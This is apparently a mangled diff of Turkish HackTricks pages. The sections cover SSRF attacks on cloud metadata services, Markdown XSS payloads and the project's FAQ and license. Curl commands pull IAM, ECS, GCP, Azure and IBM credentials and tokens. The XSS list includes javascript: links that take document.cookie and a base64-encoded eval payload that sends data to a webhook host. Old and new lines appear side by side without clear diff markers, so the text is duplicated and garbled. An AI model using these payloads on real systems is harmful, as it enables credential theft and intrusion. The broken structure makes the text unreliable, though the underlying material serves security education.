Bir **genel olarak erişilebilir IAM kimlik bilgileri** örneği olarak şunu ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
Bir **kamuya açık IAM kimlik bilgileri** örneğini ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Ayrıca genel **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Ayrıca kamuya açık **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Daha sonra **bu kimlik bilgilerini alıp AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır.
|
||||
|
||||
Yeni kimlik bilgilerini kullanmak için, şu şekilde yeni bir AWS profili oluşturmanız gerekecek:
|
||||
Yeni kimlik bilgilerini kullanmak için, aşağıdaki gibi yeni bir AWS profili oluşturmanız gerekecek:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG71[...]
|
||||
@ -97,12 +97,12 @@ Dikkat edin, **aws_session_token**, profilin çalışması için vazgeçilmezdir
|
||||
**ECS**, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS**'de çalışan bir hizmeti ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**.
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\<GUID>**'yi bulmanız gerekiyor. \<GUID>’yi bulmak için makine içindeki **environ** değişkeni **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**'yi okumanız gerekiyor.\
|
||||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** kullanarak okuyabilirsiniz.\
|
||||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** istismar ederek okuyabilirsiniz.\
|
||||
Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı vermelidir.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **Bazı durumlarda** konteynerden **EC2 metadata instance**'ına erişebileceğinizi unutmayın (önceki bölümde belirtilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz.
|
||||
|
||||
### AWS Lambda için SSRF
|
||||
@ -143,9 +143,9 @@ Sonra kimlik bilgilerini `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]
|
||||
|
||||
**`Metadata-Flavor: Google`** HTTP başlığını gerektirir ve aşağıdaki URL'lerle metadata uç noktasına erişebilirsiniz:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
Bilgi çıkarmak için ilginç uç noktalar:
|
||||
```bash
|
||||
@ -232,7 +232,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
> [!CAUTION]
|
||||
> **Sızdırılan hizmet hesabı jetonunu kullanmak için** sadece şunları yapabilirsiniz:
|
||||
> **Sızdırılan hizmet hesabı jetonunu kullanmak için** şunları yapabilirsiniz:
|
||||
>
|
||||
> ```bash
|
||||
> # Çevresel değişkenler aracılığıyla
|
||||
@ -323,9 +323,9 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
- **X-Forwarded-For** başlığını **içermemelidir**
|
||||
|
||||
> [!TIP]
|
||||
> Bir Azure VM, 1 sistem yönetilen kimlik ve birkaç kullanıcı yönetilen kimlik ile ilişkilendirilebilir. Bu, temelde bir VM'ye **bağlı tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir.
|
||||
> Bir Azure VM, 1 sistem yönetilen kimliği ve birkaç kullanıcı yönetilen kimliği ile ilişkilendirilebilir. Bu, temelde bir VM'ye bağlı olan **tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir.
|
||||
>
|
||||
> Metadata uç noktasına erişim token'ı talep ederken, varsayılan olarak metadata servisi, eğer varsa **sistem atanan yönetilen kimliği** kullanarak token'ı oluşturur. Eğer sadece **BİR kullanıcı atanan yönetilen kimlik** varsa, bu varsayılan olarak kullanılacaktır. Ancak, eğer sistem atanan yönetilen kimlik yoksa ve **birden fazla kullanıcı atanan yönetilen kimlik** varsa, metadata servisi, birden fazla yönetilen kimlik olduğunu belirten bir hata döndürecektir ve **hangi kimliği kullanacağınızı belirtmeniz gerekecektir**.
|
||||
> Metadata uç noktasına erişim belirteci talep ederken, varsayılan olarak metadata servisi, herhangi bir sistem atanmış yönetilen kimlik varsa **sistem atanmış yönetilen kimliği** kullanarak belirteci oluşturur. Eğer sadece **BİR kullanıcı atanmış yönetilen kimlik** varsa, bu varsayılan olarak kullanılacaktır. Ancak, eğer sistem atanmış yönetilen kimlik yoksa ve **birden fazla kullanıcı atanmış yönetilen kimlik** varsa, metadata servisi, birden fazla yönetilen kimlik olduğunu belirten bir hata döndürecektir ve **hangi kimliği kullanacağınızı belirtmeniz gerekecektir**.
|
||||
>
|
||||
> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım, bu nedenle bir Red Team perspektifinden bir VM'ye atanan tüm yönetilen kimlikleri bulmak zor bir görev olabilir.
|
||||
>
|
||||
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - Metadata'daki varsayılan bağlı MI'yi kullanarak **bağlı kimlikleri** alın:
|
||||
@ -344,22 +344,22 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> ```bash
|
||||
> export API_VERSION="2021-12-13"
|
||||
>
|
||||
> # Varsayılan MI'den token alın
|
||||
> # Varsayılan MI'den belirteç alın
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # Gerekli detayları alın
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # Bağlı MI'leri almaya çalışın
|
||||
> # Bağlı MIs'leri almaya çalışın
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - Kiracıda tanımlı **tüm** yönetilen kimlikleri alın ve VM'ye bağlı olup olmadığını görmek için **brute force** yapın:
|
||||
@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> Token taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
> Belirteç taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -427,7 +427,10 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Azure Uygulamaları & Fonksiyon Hizmetleri & Otomasyon Hesapları
|
||||
> [!WARNING]
|
||||
> **`http://169.254.169.254/metadata/v1/instanceinfo` uç noktasının `Metadata: True` başlığını gerektirmediğini unutmayın**; bu, bu başlığı ekleyemediğiniz Azure'daki SSRF zafiyetlerinde etkiyi göstermek için harika.
|
||||
|
||||
### Azure Uygulama & Fonksiyon Hizmetleri ve Otomasyon Hesapları
|
||||
|
||||
**env**'den **`IDENTITY_HEADER`** ve **`IDENTITY_ENDPOINT`** değerlerini alabilirsiniz. Bu değerleri, metadata sunucusuyla iletişim kurmak için bir token toplamak için kullanabilirsiniz.
|
||||
|
||||
@ -439,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
- [https://management.azure.com](https://management.azure.com/)
|
||||
|
||||
> [!CAUTION]
|
||||
> Token isteklerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
> Token taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||||
## IBM Cloud
|
||||
|
||||
> [!WARNING]
|
||||
> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile ona erişemeyebilirsiniz.
|
||||
> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile buna erişemeyebilirsiniz.
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -548,7 +551,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
Aşağıda çeşitli platformların metadata hizmetleri için belgeleri özetlenmiştir; bu belgeler, örneklerin yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır.
|
||||
Aşağıda çeşitli platformların metadata hizmetleri için belgeleri özetlenmiştir ve örnekler, yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -556,7 +559,7 @@ Packetcloud'un metadata'sına erişim için belgeler şurada bulunabilir: [https
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
Bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu şekilde erişilebilir:
|
||||
Bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adres üzerinden erişilebilir:
|
||||
|
||||
- `http://169.254.169.254/openstack`
|
||||
|
||||
@ -568,7 +571,7 @@ Burada da bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adreste
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sağlar:
|
||||
Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sunmaktadır:
|
||||
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
@ -577,7 +580,7 @@ Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sa
|
||||
|
||||
## Alibaba
|
||||
|
||||
Alibaba, örnek ve görüntü kimlikleri de dahil olmak üzere metadata'ya erişim için uç noktalar sunar:
|
||||
Alibaba, örnek ve görüntü kimliklerine erişim için uç noktalar sunmaktadır:
|
||||
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
@ -592,7 +595,7 @@ Kubernetes ETCD, API anahtarları, dahili IP adresleri ve portlar tutabilir. Eri
|
||||
|
||||
## Docker
|
||||
|
||||
Docker metadata'sına yerel olarak erişilebilir; konteyner ve görüntü bilgilerini alma örnekleri verilmiştir:
|
||||
Docker metadata'sına yerel olarak erişilebilir, konteyner ve görüntü bilgilerini alma örnekleri verilmiştir:
|
||||
|
||||
- Docker soketi aracılığıyla konteynerler ve görüntüler metadata'sına erişim için basit bir örnek:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında XSS tetiklemek için kullanabileceğiniz birkaç seçenek vardır.
|
||||
Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında XSS'yi tetiklemek için kullanabileceğiniz birkaç seçenek vardır.
|
||||
|
||||
### HTML etiketleri
|
||||
|
||||
@ -18,7 +18,7 @@ Daha fazla örneği [hacktricks'in ana XSS sayfasında](README.md) bulabilirsini
|
||||
|
||||
### Javascript bağlantıları
|
||||
|
||||
HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimi ile oynamayı deneyebilirsiniz:
|
||||
Eğer HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimi ile oynamayı deneyebilirsiniz:
|
||||
```html
|
||||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
@ -8,14 +8,14 @@
|
||||
> Bunlar **HackTricks Projesinin değerleri**:
|
||||
>
|
||||
> - **TÜM** İnternet için **EĞİTİMSEL hacking** kaynaklarına **ÜCRETSİZ** erişim sağlamak.
|
||||
> - Hacking öğrenmekle ilgilidir ve öğrenim mümkün olduğunca ücretsiz olmalıdır.
|
||||
> - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir.
|
||||
> - Hacking öğrenmekle ilgilidir ve öğrenim mümkün olduğunca ücretsiz olmalıdır.
|
||||
> - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir.
|
||||
> - Topluluğun yayınladığı harika **hacking** tekniklerini **ORİJİNAL** **YAZARLARA** tüm **kredileri** vererek **Saklamak**.
|
||||
> - **Başka insanlardan kredi almak istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz.
|
||||
> - HackTricks'te **kendi araştırmalarımızı** da yazıyoruz.
|
||||
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve **daha fazla ayrıntı için orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
|
||||
> - **Başka insanlardan kredi almak istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz.
|
||||
> - HackTricks'te **kendi araştırmalarımızı** da yazıyoruz.
|
||||
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
|
||||
> - Kitaptaki tüm hacking tekniklerini **DÜZENLEMEK** böylece **DAHA ERİŞİLEBİLİR** hale getirmek.
|
||||
> - HackTricks ekibi, insanların **daha hızlı öğrenebilmesi** için içeriği **sadece düzenlemek** amacıyla binlerce saat harcadı.
|
||||
> - HackTricks ekibi, insanların **daha hızlı öğrenebilmesi** için içeriği **sadece düzenlemek** amacıyla binlerce saat harcadı.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
>
|
||||
> - **Bu kaynaklar için çok teşekkür ederim, size nasıl teşekkür edebilirim?**
|
||||
|
||||
Bu kaynakları bir araya getiren HackTricks ekiplerine [**@hacktricks_live**](https://twitter.com/hacktricks_live) şeklinde bir tweet atarak kamuya açık bir şekilde teşekkür edebilirsiniz.\
|
||||
Tüm bu kaynakları bir araya getiren HackTricks ekiplerine [**@hacktricks_live**](https://twitter.com/hacktricks_live) şeklinde bir tweet atarak kamuya açık bir şekilde teşekkür edebilirsiniz.\
|
||||
Eğer özellikle minnettar iseniz, [**projeyi burada destekleyebilirsiniz**](https://github.com/sponsors/carlospolop).\
|
||||
Ve Github projelerine **bir yıldız vermeyi unutmayın!** (Aşağıdaki bağlantıları bulun).
|
||||
|
||||
@ -44,13 +44,13 @@ Github projelerine **bir yıldız vermeyi unutmayın!**
|
||||
>
|
||||
> - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?**
|
||||
|
||||
Evet, yapabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları** belirtmeyi unutmayın.
|
||||
Evet, koyabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları** belirtmeyi unutmayın.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks'in bir sayfasını nasıl alıntılayabilirim?**
|
||||
> - **HackTricks'in bir sayfasını nasıl alabilirim?**
|
||||
|
||||
Bilgiyi aldığınız sayfanın **bağlantısı** göründüğü sürece yeterlidir.\
|
||||
Bilgiyi aldığınız sayfanın **bağlantısının** görünmesi yeterlidir.\
|
||||
Bir bibtex'e ihtiyacınız varsa, şöyle bir şey kullanabilirsiniz:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -64,21 +64,21 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **HackTricks'i bloguma kopyalayabilir miyim?**
|
||||
|
||||
**Bunu yapmanızı istemem**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak mevcuttur**.
|
||||
**Bunu yapmamayı tercih ederim**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak mevcuttur**.
|
||||
|
||||
Eğer kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dediğim gibi zaten ücretsiz.
|
||||
Kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dediğim gibi zaten ücretsiz.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Neden sponsorlarınız var? HackTricks kitapları ticari amaçlar için mi?**
|
||||
|
||||
İlk **HackTricks** **değeri**, **TÜM** dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** harcamıştır, tekrar, **ÜCRETSİZ**.
|
||||
İlk **HackTricks** **değeri**, **TÜM** dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi, bu içeriği sunmak için **binlerce saat** harcamıştır, tekrar, **ÜCRETSİZ**.
|
||||
|
||||
Eğer HackTricks kitaplarının **ticari amaçlar** için yapıldığını düşünüyorsanız, **TAMAMEN YANLIŞ** düşünüyorsunuz.
|
||||
|
||||
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama öğrenme sürecini **rahatsız etmeyecek** şekilde yerleştiriliyor.
|
||||
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i destekleyip kitapta **bazı reklamlar** olmasını sağlıyor, bu **reklamlar** her zaman görünür yerlerde ama öğrenme sürecini **rahatsız etmeyecek** şekilde yerleştiriliyor.
|
||||
|
||||
HackTricks, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu değildir çünkü HackTricks ticari amaçlar için yapılmamıştır.
|
||||
HackTricks'i, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu bulamayacaksınız, çünkü HackTricks ticari amaçlar için yapılmamıştır.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -94,7 +94,7 @@ HackTricks'te sayfanıza bağlantı olmasının:
|
||||
|
||||
- **SEO**'nu geliştirir
|
||||
- İçerik **15'ten fazla dile** çevrilir, bu da daha fazla insanın bu içeriğe erişmesini sağlar
|
||||
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te sayfalarının bulunmasının ardından daha fazla ziyaret aldıklarını belirtti)
|
||||
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te bazı sayfalarının bulunması nedeniyle daha fazla ziyaret aldıklarını belirtti)
|
||||
|
||||
Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız, sadece bize bildirin ve kesinlikle **blogunuza olan her bağlantıyı** ve buna dayanan her içeriği **kaldıracağız**.
|
||||
|
||||
@ -102,42 +102,42 @@ Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsa
|
||||
>
|
||||
> - **Eğer HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?**
|
||||
|
||||
Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, bize bildirin ve ya **kaldıracağız**, **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**.
|
||||
Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, bize bildirin ve ya **kaldıracağız**, ya **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © Tüm hakları saklıdır, aksi belirtilmedikçe.
|
||||
|
||||
#### License Summary:
|
||||
#### Lisans Özeti:
|
||||
|
||||
- Attribution: Serbestçe:
|
||||
- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayabilir ve yeniden dağıtabilirsiniz.
|
||||
- Adapt — materyali yeniden düzenleyebilir, dönüştürebilir ve üzerine inşa edebilirsiniz.
|
||||
- Atıf: Şu özgürlükleriniz var:
|
||||
- Paylaşma — materyali herhangi bir ortamda veya formatta kopyalayabilir ve yeniden dağıtabilirsiniz.
|
||||
- Uyarlama — materyali yeniden düzenleyebilir, dönüştürebilir ve üzerine inşa edebilirsiniz.
|
||||
|
||||
#### Additional Terms:
|
||||
#### Ek Şartlar:
|
||||
|
||||
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içerik, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle kullanılmaktadır. Lütfen üçüncü taraf içeriği ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
|
||||
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu çalışmayı paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
|
||||
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglar veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içeriklerin kullanımı, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle yapılmaktadır. Lütfen üçüncü taraf içerik ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
|
||||
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazarına atıfta bulunmanız teşvik edilmektedir.
|
||||
|
||||
#### Exemptions:
|
||||
#### Muafiyetler:
|
||||
|
||||
- Ticari Kullanım: Bu içeriğin ticari kullanımıyla ilgili sorular için lütfen benimle iletişime geçin.
|
||||
|
||||
Bu lisans, içerikle ilgili herhangi bir ticari marka veya marka hakları vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalar, ilgili sahiplerinin mülkiyetindedir.
|
||||
Bu lisans, içeriğe ilişkin herhangi bir ticari marka veya marka hakları vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalar, ilgili sahiplerinin mülkiyetindedir.
|
||||
|
||||
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartlarla aynı fikirde değilseniz, lütfen bu web sitesine erişmeyin.**
|
||||
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartlara katılmıyorsanız, lütfen bu web sitesine erişmeyin.**
|
||||
